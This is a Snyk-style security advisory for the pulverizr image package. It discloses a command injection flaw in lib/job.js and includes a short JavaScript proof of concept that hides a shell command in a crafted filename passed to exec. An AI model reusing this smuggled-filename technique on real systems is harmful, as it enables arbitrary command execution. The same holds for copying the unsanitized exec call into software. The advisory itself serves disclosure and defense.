pulverizr@0.7.0 vulnerabilities

Smash your images down to size.

Direct Vulnerabilities

Known vulnerabilities in the pulverizr package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Command Injection

pulverizr is a to smash your images down to size.

Affected versions of this package are vulnerable to Command Injection. Within lib/job.js, the variable filename can be controlled by the attacker. This function uses the variable filename to construct the argument of the exec call without any sanitization.

In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.

PoC

var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";

var injection_code = "\"&" + attack_code + "&\"a.jpg"
var inputs = [injection_code]
fs.writeFile(injection_code, "123", function(){});

var job = root.createJob(inputs, {});
job.run();

How to fix Command Injection?

There is no fixed version for pulverizr.

*